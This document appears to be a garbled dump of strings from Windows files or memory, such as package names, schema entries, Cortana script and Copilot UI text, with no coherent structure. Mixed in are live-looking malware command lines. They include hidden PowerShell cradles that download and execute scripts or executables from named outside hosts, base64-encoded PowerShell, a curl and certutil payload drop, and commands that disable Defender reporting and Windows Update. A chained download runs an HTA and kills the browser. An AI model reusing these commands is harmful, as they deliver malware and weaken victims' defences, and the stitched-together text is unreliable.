Microsoft.Windows.GdiPlus, Culture=neutral, Type=win32, Version=1.1.26100.7824, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64
amd64_microsoft.windows.i..utomation.proxystub_6595b64144ccf1df_1.0.26100.5074_none_9910702c70834c7b
Microsoft.Windows.IsolationAutomation.ProxyStub, Culture=neutral, Type=win32, Version=1.0.26100.5074, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64
amd64_microsoft.windows.isolationautomation_6595b64144ccf1df_1.0.26100.5074_none_ef991ef911793267
Microsoft.Windows.IsolationAutomation, Culture=neutral, Type=win32, Version=1.0.26100.5074, PublicKeyToken=6595b64144ccf1df, ProcessorArchitecture=amd64-Con
nAwow64_microsoft-windows-s..rity-spp-pkeyconfig_31bf3856ad364e35_10.0.26100.7019_none_f20114045053b64eorAP
Microsoft-Windows-Security-SPP-Pkeyconfig, Culture=neutral, Version=10.0.26100.7019, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=wow64, versionScope=NonSxSfig, C
$env:appdata\microsoft\windows\startmenu\programs\startup
=[system.windows.forms.systeminformation]::virtualscreen
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderSimple.GetPatternProvider
GetWindowsDirectoryW
GetSystemWindowsDirectoryW
\windows\(
 S/API/WindowsCortanaPane/V2/WSBServiceWorker.jss
globalAuthenticationCoreSecurityWebWebTokenRequestWindowsapplyctor
      <xs:enumeration value="windows.activatableClass.inProcessServer"/>
      <xs:enumeration value="windows.activatableClass.outOfProcessServer"/>
      <xs:enumeration value="windows.activatableClass.proxyStub"/>
      <xs:enumeration value="windows.gameExplorer"/>
      <xs:enumeration value="windows.certificates"/>
      <xs:enumeration value="windows.activatableClass.inProcessServer"/>
      <xs:enumeration value="windows.activatableClass.outOfProcessServer"/>
      <xs:enumeration value="windows.activatableClass.proxyStub"/>
      <xs:enumeration value="windows.certificates"/>
      <xs:enumeration value="windows.comInterface"/>
      <xs:enumeration value="windows.activatableClass.inProcessServer"/>
      <xs:enumeration value="windows.activatableClass.outOfProcessServer"/>
      <xs:enumeration value="windows.activatableClass.proxyStub"/>
      <xs:enumeration value="windows.certificates"/>
      <xs:enumeration value="windows.publisherCacheFolders"/>
      <xs:enumeration value="windows.fileTypeAssociation"/>
      <xs:enumeration value="windows.protocol"/>
      <xs:enumeration value="windows.autoPlayContent"/>
      <xs:enumeration value="windows.autoPlayDevice"/>
      <xs:enumeration value="windows.shareTarget"/>
      <xs:enumeration value="windows.search"/>
      <xs:enumeration value="windows.fileOpenPicker"/>
      <xs:enumeration value="windows.fileSavePicker"/>
      <xs:enumeration value="windows.cachedFileUpdater"/>
      <xs:enumeration value="windows.contactPicker"/>
      <xs:enumeration value="windows.backgroundTasks"/>
      <xs:enumeration value="windows.cameraSettings"/>
      <xs:enumeration value="windows.accountPictureProvider"/>
      <xs:enumeration value="windows.printTaskSettings"/>
      <xs:enumeration value="windows.lockScreenCall"/>
      <xs:enumeration value="windows.contact"/>
      <xs:enumeration value="windows.appointmentsProvider"/>
      <xs:enumeration value="windows.alarm"/>
      <xs:enumeration value="windows.preInstalledConfigTask"/>
      <xs:enumeration value="windows.updateTask"/>
Microsoft-Windows-AppServerClient-OptGroup-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-AppServerClient-OptGroup-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|Microsoft-Windows-TerminalServices-CommandLineTools-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|0.cat|
windowstylehidden-commandf
C:\Windows\SystemApps\Microsoft
Loading Windows subsystem DLL "%wZ" failed with status 0x%08lx
Locating procedure "%Z" in Windows subsystem DLL "%wZ" failed with status 0x%08lx
Building shim engine DLL system32 filename failed with status 0x%08lx
LdrpInitializePerUserWindowsDirectory
Windows.Client.CBS_cw5n1h2txyewy9
OMPUTERNAME=WINDOWS11
\system32\cmd$
%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Windows.Client.CBS_cw5n1h2txyewy9
NtUserGetProcessWindowStation
c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-windowstylehidden-command"&{(invoke-webrequest-uri'https://newmetroservice.site/evs.ps1'-usebasicparsing).content|foreach-object{invoke-expression$_}}"
c:\windows\system32\windowspowershell\v1.0\powershell.exe-esqbuahyabwbragualqbfahgacabyaguacwbzagkabwbuacgadwbnaguadaagac0adqbzaguaygbhahmaiaboahqadabwadoalwavadeanaa0ac4amqa3adialgaxadaaoaauadianaaxac8abqbhagkabgaxac4abqbwadqakqa=
c:\windows\system32\forfiles.exe/pc:\windows/mexplorer.exe/c"powershell-c$
LBc:\windows\system32\windowspowershell\v1.0\powershell.exe-epbypass-c"$progresspreference='silentlycontinue';iwr'https://ssantana.net/q.exe'-outfile'c:\users\administrator\desktop\q.exe';start'c:\users\administrator\desktop\q.exe'"
system32v2
c:\windows\syswow64\cmd.exe/ccurl-s-oc:\users\public\udkxtqletb.bathttps://tvdseo.com/file/quan 
\system32\
C:\WINDOWS\system\
windows\
Fhotelembuguacu.blob.core.windows.net/data/fe521e7c-0abe-4a7a-b549-15ae612c8702.txt').
Found a valid WindowsTransport policy '%s'
onecoreuap\shell\windows.storage.search\FederatedCloudSearch\src\CloudSearchRowset.cpp
Global.WindowsV
2c^WindowsOobeAppHost
denchannelget_windows_idr
Rc:\windows\system32\conhost.exe--headless"windows.diagnostic.document\diagnostic.exe"
/set-regkey"hklm:\software\microsoft\windowsdefender\spynet""spynetreporting""0""dword
disable-tasks"windowsupdate"disable-tasks"waasmedic"disable-tasks"updateorchestrator"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\
Microsoft\Windows\Start Menu\Program
c:\windows\kb978978.logprocess1
C:\WINDOWS\system32\drivers\etc\service1.inic:\windows\KB978978.loge:\JinZQ\
GetProcessWindowStation
gement.services.intunewindowsagent.exe|azcopy.exe|agentexecutor.exe|gitlab-runner.exe|scriptrunner.exe|cagservice.exe|ltsvc.exe|jumpcloud-agent-updater.exe|
Windows.Devices.Input.Preview.GazeInputSourcePreview
Windows.Devices.Input.TouchCapabilities
Windows.Devices.Lights.Effects.LampArrayBitmapEffect
Windows.Devices.Lights.Effects.LampArrayBitmapRequestEventArgs
Windows.Devices.Lights.Effects.LampArrayBlinkEffect
Windows.Devices.Lights.Effects.LampArrayColorRampEffect
Windows.Devices.Lights.Effects.LampArrayCustomEffect
Windows.Devices.Lights.Effects.LampArrayEffectPlaylist
Windows.Devices.Lights.Effects.LampArraySolidEffect
Windows.Devices.Lights.Effects.LampArrayUpdateRequestedEventArgs
.?AUtype@?$abi@UDispatchedHandler@Core@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@UDispatchedHandler@Core@UI@Windows@winrt@@V<lambda_1acc35aeed3fa7b1315f0cb64c19839f>@@@impl@winrt@@
.?AU?$delegate@UDispatchedHandler@Core@UI@Windows@winrt@@V<lambda_1acc35aeed3fa7b1315f0cb64c19839f>@@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UMediaPlaybackSession@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_61a9192dd225d54d5a430b68d3113538>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UMediaPlaybackSession@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_61a9192dd225d54d5a430b68d3113538>@@@implnativeTraceEndAsyncFlow
32^com.microsoft.windows.extensions.xaml.webexperiencehost
4a^com.microsoft.windows.telemetryid
com.microsoft.windows.telemetryid
JCommunityToolkit.WinUI.Animations.dll2Microsoft.Windows.SDK.NET
:Microsoft.Windows.SDK.NET.dll<System.Runtime.InteropServices
DSystem.Runtime.InteropServices.dll2Microsoft.Windows.UI.Xaml
:Microsoft.Windows.UI.Xaml.dll@CommunityToolkit.WinUI.Behaviors
Microsoft-Windows-WLANSvc-ASP-CP-Out{
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
xmlNormalizeWindowsPath
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\token_helpers.h
        name="Microsoft.Windows.DebuggersAndTools"
  <description>Windows Debuggers and Tools</description>
            <!--This Id value indicates the application supports Windows Vista/Server 2008 functionality -->
            <!--This Id value indicates the application supports Windows 7/Server 2008 R2 functionality-->
            <!--This Id value indicates the application supports Windows 8/Server 2012 functionality-->
    	    <!-- This Id value indicates the application supports Windows Blue/Server 2012 R2 functionality-->            
    	    <!-- This Id value indicates the application supports Windows Threshold functionality-->            
Global.PeopleWidgetMicrosoftWindows.Client.CBS_cw5n1h2txyewy!=
WindowsTerminalA
5d6micros~1\appdata\local\temp\{29b01b9b-f8fd-4b96-a19a-e864f4cdff6c}\nqifiyeemnplyfctklvkmtjpjdqbbofohjvjomutfpcywckr.jar4nqifiyeemnplyfctklvkmtjpjdqbbofohjvjomutfpcywckr.jar~c:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\nqifiyeemnplyfctklvkmtjpjdqbbofohjvjomutfpcywckr.jar
micros~1\appdata\local\temp\{decc670d-a21a-42ae-99cb-3163cab11c2a}\eambqigakgbinfeyrfqweudvylfebkitfqtryahrswcovfpv.jar4eambqigakgbinfeyrfqweudvylfebkitfqtryahrswcovfpv.jar~c:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\eambqigakgbinfeyrfqweudvylfebkitfqtryahrswcovfpv.jar
lf5po:i+00/c:\v1windows@.windowsz1system32b.system32v2cmd.exe@.cmd.exe/cstart
microsoft\microsoftsecurity.exe/autoit3executescript..\microsoft\microsoft.a3xexplorerchrw(41-4)&string("c")&chrw(68)&chrw(2+35)&exit%windir%\system32\shell32.dll%wn]nd.q1spsxfl8c&m
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ejabkad0ajwbkag8adwbuacaaeqbvahuacgagagyaaqbsaguacwanadsasqblafgakaamacgajabkafsamqaxaf0akwakagqawwayaf0akwakagqawwa4af0akqagac0adqbzaguaygagaggadab0ahaacwa6ac8alwa2adqalga5adualgaxadaalgayadeamgavagqazqbmageadqbsahqalgbtahaanaapaa==
'$c:\windows\system32\windo
c:\windows\m
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe
Lua:FirstFolder1!windows
windows.
mail.windows4
:windows\temp$
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
Windows.
Windows.
P~windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanelwindows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
W~{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\WindowsPowerShell\v1.0\powershell.exe{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\Win
Windows.UI.Xaml.Data.IGroupInfo
Windows.UI.Xaml.Visibility
Windows.UI.Xaml.UIElement
Windows.UI.Xaml.HorizontalAlignment
Windows.UI.Xaml.VerticalAlignment
Windows.UI.Xaml.Media.AudioDeviceType
Windows.UI.Xaml.Media.AudioCategory
Windows.UI.Xaml.Media.Stereo3DVideoRenderMode
Windows.UI.Xaml.Media.MediaElementState
Windows.UI.Xaml.Media.Stereo3DVideoPackingMode
\SystemRoot\System32\DRIVERS\srvnet.sys
\SystemRoot\System32\DRIVERS\srv2.sys
Tges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillStrikeDatabase
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
is.multiMomentsDataModel)===null||e===void 0?void 0:e.moments[0],i=(o=k===null||k===void 0?void 0:k.sectionGroups)===null||o===void 0?void 0:o.find(n=>n.cardType==="Hero"),t=(i===null||i===void 0?void 0:i.sections)&&(i===null||i===void 0?void 0:i.sections[0]);return r=((h=(s=t===null||t===void 0?void 0:t.props)===null||s===void 0?void 0:s.FieldsStore)===null||h===void 0?void 0:h.MiniSerpQuery)?(l=(c=t===null||t===void 0?void 0:t.props)===null||c===void 0?void 0:c.FieldsStore)===null||l===void 0?void 0:l.MiniSerpQuery:((v=(a=t===null||t===void 0?void 0:t.props)===null||a===void 0?void 0:a.FieldsStore)===null||v===void 0?void 0:v.GleamText)?(p=(y=t===null||t===void 0?void 0:t.props)===null||y===void 0?void 0:y.FieldsStore)===null||p===void 0?void 0:p.GleamText:(b=(w=t===null||t===void 0?void 0:t.props)===null||w===void 0?void 0:w.FieldsStore)===null||b===void 0?void 0:b.Title,r&&(this.cachedMiniserpQuery={cacheTime:n.getCurrentTime(),query:r}),r}async fetchDSBMiniserp(){var r;let f=this.getMiniserpQuery(),t=this.dsbV2BaseUrl;t=this.composeDSBMiniserpUrlParams(t,f);let e=n.getCurrentTime(),u,i;try{u=this.getDSBHeaders(!0);let f=await fetch(t,{headers:u});if(f.ok){n.config.enableDSBFallbackLogs&&(i=(r=f===null||f===void 0?void 0:f.headers)===null||r===void 0?void 0:r.get("x-eventid"));let u,o;try{o=await f.json();u=o}catch(s){return this.instrumentDSBFallback(8,3,u),n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBFallback_FailedToRead_DSBMiniserp","Request Url: "+t+"; TraceID: "+i+"; StatusCode: "+(f===null||f===void 0?void 0:f.status)+"; Response Json: "+JSON.stringify(o)+"; Exception: "+s),!1}return this.isValidDSBMultiMomentsContent(u)||(this.instrumentDSBFallback(9,3,u,u.ServerImpressionGuid),n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBFallback_InvalidDSBContent_DSBMiniserp","Request Url: "+t+"; TraceID: "+i+"; StatusCode: "+(f===null||f===void 0?void 0:f.status)+"; Data: "+JSON.stringify(u))),this.handleDSBMiniserpFetched(u),n.config.enableDsbFetchNRenderTelemetry||this.instrumentFetch(e,n.getCurrentTime(),3,u.ServerImpressionGuid),!0}this.instrumentDSBFallback(4,3);n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBFallback_FailedToFetch_DSBMiniserp","Request Url: "+t+"; TraceID: "+i+"; StatusCode: "+(f===null||f===void 0?void 0:f.status))}catch(o){return this.instrumentDSBFallback(5,3),n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBFallback_FailedToParse_DSBMiniserp","Request Url: "+t+"; Headers: "+JSON.stringify(u)+"; Exception: "+o+"; Is Browser Online: "+n.isBrowserOnline()),!1}return!1}isNewDay(){return this.isCurrentMomentDataExpired()}isMergedRouteEnabled(){return n.isMarketEligible(n.Host.getRegion(),n.Host.getLanguage(),n.config.dsbMergedRouteEnabledLangRegions)}async fetch(t){var e,o;let i=this.composeDSBUrlParams(this.dsbBaseUrl);this.isDSBMergedCallSuccess=0;this.DSBSearchCallStatus="None";this.isMergedRouteEnabled()&&(this.isDSBMergedCallSuccess=1,this.setDSBSearchFallbackStatus("InitMergedCall"),i=this.composeDSBMergedUrlParams(this.dsbV2BaseUrl,t));let r=1;this.isMergedRouteEnabled()&&(r=5);let s=n.getCurrentTime(),f=null,u;try{f=this.getDSBHeaders(this.isMergedRouteEnabled());let t=await fetch(i,{headers:f}),h,c;if(n.config.enableDSBFallbackLogs&&(u=(e=t===null||t===void 0?void 0:t.headers)===null||e===void 0?void 0:e.get("x-eventid")),t.ok){if(n.shouldLogFlightAssignmentsToWindows()){let n=t===null||t===void 0?void 0:t.headers.get("X-FlightsTelemetry-IG"),i=t===null||t===void 0?void 0:t.headers.get("X-FlightsTelemetry-Flight");i&&n&&((o=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||o===void 0?void 0:o.logCriticalFlightsTelemetry(i,n))}try{c=await t.json();h=c}catch(l){return this.instrumentDSBFallback(8,r,h,h===null||h===void 0?void 0:h.ServerImpressionGuid),n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBFallback_FailedToRead_InitialRequest","Request Url: "+i+"; TraceID: "+u+"; StatusCode: "+(t===null||t===void 0?void 0:t.status)+"; Response Json: "+JSON.stringify(c)+"; Exception: "+l),!1}if(!this.isValidDSBMultiMomentsContent(h))if(this.isM
Windows Defender Exploit Guard detected Webshell creation
amd64_microsoft-windows-extrac32_31bf3856ad364e35_none_c2b403a9b2563ca2
amd64_microsoft-windows-ezap_31bf3856ad364e35_none_ce778442cbd9672c
amd64_microsoft-windows-f..-core-cpl.resources_31bf3856ad364e35_en-us_9a7b2ad24b065f43
amd64_microsoft-windows-f..-heap-adm.resources_31bf3856ad364e35_en-us_b3af7640eafa11a9
amd64_microsoft-windows-f..-microsoftsansserif_31bf3856ad364e35_none_5339910fe3a76e09
amd64_microsoft-windows-f..-microsoftyaheibold_31bf3856ad364e35_none_fe271767d7aa11de
amd64_microsoft-windows-f..-security.resources_31bf3856ad364e35_en-us_f9b777837716da59
amd64_microsoft-windows-f..-segoe_fluent_icons_31bf3856ad364e35_none_2dd71e9998f75776
amd64_microsoft-windows-f..-settings.resources_31bf3856ad364e35_en-us_c2c614d43f9f740b
%windows%
windows
 http://www.microsoft.com/windows0
Windows.Defender.MpUxDlpSystemapp:system2026-02-24 08:06:142026-02-24 08:06:14k
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreCLIapp:immersive2026-02-21 11:25:032026-02-21 11:25:03y
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindowsapp:immersive2026-02-21 11:16:392026-02-21 11:16:39
WINDOWS.IMMERSIVECONTROLPANEL_10.0.8.1000_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY
Windows.SystemToast.BthQuickPair
Windows.SystemToast.Bthprops
Windows.SystemToast.BitLockerPolicyRefresh
Windows.SystemToast.BdeUnlock
Windows.SystemToast.BackupReminder
Windows.SystemToast.BackgroundAccess
Windows.SystemToast.AutoPlay
Windows.SystemToast.AudioTroubleshooter
Windows.SystemToast.AccountHealth
Windows.System.ShareExperience
Windows.System.NearShareExperienceReceive
Windows.System.MiracastReceiver	
Windows.System.DialServer
Windows.System.Continuum
Windows.System.Audio
Windows.System.AppInitiatedDownload
Windows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialog
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
Windows.Defender.SecurityCenter
Windows.Defender.MpUxDlp
Windows.Defender
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreview
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensions
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
\SystemRoot\system32\DRIVERS\udfs.sys
\SystemRoot\System32\Drivers\dump_dumpstorport.sys
\SystemRoot\system32\drivers\wcifs.sys
\SystemRoot\system32\drivers\cldflt.sys
C:\WINDOWS\system\
C:\WINDOWS\system\
c:\windows\
c:\windows\system32\
C:\WINDOWS\system32\
C:\WINDOWS\system32\
C:\Documents and Settings\Administrator\Application Data\\Microsoft\Windows\Start Menu\Programs\Startup\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\cmd
c:\windows\temp\c
WindowsVersion
75^windows.appExtension
USERDOMAIN=Windows11 
LOGONSERVER=\\WINDOWS11
Microsoft.Windows.SRUM.ApiUsage
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Block credential stealing from the Windows local security authority subsystem (lsass.exe)
Windows Defender Exploit Guard detected an attempt to extract credentials from LSASS.
%windir%\system32\lsass.exe
rWINDOWS
%\WindowsPowerShell\,
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WINDOWS11
JS/Obfuscator.FSO.WindowsH
Windows
imethod"$egshrh='c:\windows\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'
/New-ItemPropertyWinlogonG
set-itemproperty-path'hklm:\software\wow6432node\policies\microsoft\windows\powershell\modulelogging'-nameenable
wow64_microsoft-windows-w..cationcompatibility_31bf3856ad364e35_none_e9ded19db1fae87c
wow64_microsoft-windows-w..codec-dll.resources_31bf3856ad364e35_en-us_7d3e884a52d701dc
wow64_microsoft-windows-w..codec-dll.resources_31bf3856ad364e35_en-us_8245a4df977daf7f
wow64_microsoft-windows-w..core-infrastructure_31bf3856ad364e35_none_b563ac8b48ee20d5
wow64_microsoft-windows-w..d-line-utility-base_31bf3856ad364e35_none_ac8e7716ede221d8
wow64_microsoft-windows-w..e-utility.resources_31bf3856ad364e35_en-us_32f3b2e743725a8d
wow64_microsoft-windows-w..emassessmenttoolapi_31bf3856ad364e35_none_05496868e814a945
wow64_microsoft-windows-w..eprovider.resources_31bf3856ad364e35_en-us_a777a5f101bc83f1
wow64_microsoft-windows-w..er-common.resources_31bf3856ad364e35_en-us_568de4c8e3c88caf
wow64_microsoft-windows-w..extension.resources_31bf3856ad364e35_en-us_3a310fd88392227c
/1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\p
Windows.Explorer
StarLeaf.Breeze2.Windows.2/>B
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
ontents\Windows\3
+CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc!u#
Windows.Media
Windows.Data.Apps.FileInfo?
Windows.$
powershell-windowstylehidden-command^"iwr-uri"http://95.169.201.100:18960/uploads/team-1/readme.pdf"-outfile"$env:temp\readme.pdf";
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy-In-Block
)MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy-Out-Allow
\\windows nt\\currentversion1
C:\\WINDOWS\\
Windows
G// https://msdn.microsoft.com/en-us/library/windows/desktop/aa384106%28v=vs.85%29.aspxu
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
Microsoft.Windows.AppResolverUX
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
WINDOWS11
t%\system32
windows.hlp`
Failed to create IShellWindows instance, HRESULT: 0x
downloadandexecwindows\temp\encoded.crt"
shell ("cmd /c certutil -decodewindows\temp\encoded.exe
Contents\Windows\8
EnumWindows
set_WindowStylesvchost.ProjectInstaller.resourcesselcuk@globaltech.com.tr
QWindowsPackageManagerServer(
df^windows.deploymentExtensionHandler
e0^windows.deploymentExtensionHandler
e1^windows.deploymentExtensionHandler
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in 
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20110
GetWindowsDirectoryW
Microsoft.WindowsCamera_8wekyb3d8bbw
$c:\windows\system32\cmd.exe/cpowershell-command"$url='https://bitbucket.org/wavelength54/topu/downloads/lee.png';$path='c:\users\public\';invoke-webrequest-uri$url-outfile\"%userprofile%\downloads\lee.zip\";expand-archive-path\"%userprofile%\downloads\lee.zip\"-destinationpath$path;while($true){if(test-path'c:\users\public\lee.hta'){start-process'c:\users\public\lee.hta';break}else{start-sleep0.5}};remove-item-path\"%userprofile%\downloads\lee.zip\"-force;taskkill/f/immsedge.exe;taskkill/f/imcmd.exe"
PWindowsSearchTaskServerActivationFactoryg
